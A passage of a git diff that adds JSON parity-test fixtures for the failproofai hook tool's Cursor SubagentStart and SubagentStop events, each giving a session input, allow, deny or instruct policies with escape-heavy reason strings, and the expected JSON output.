a/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..92135566 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1e25bfb9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bc7c23b3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a9727cd2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..398ff049 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..23269a25 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..44b0eeca --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..257801d8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0ed5a151 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6aad7757 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..806b3ec6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..481e0c9b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..cf0df1bb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..abca7262 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d5847d9a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..140e88cc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e9ab8d5e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cd3cf1b4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1050327f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": 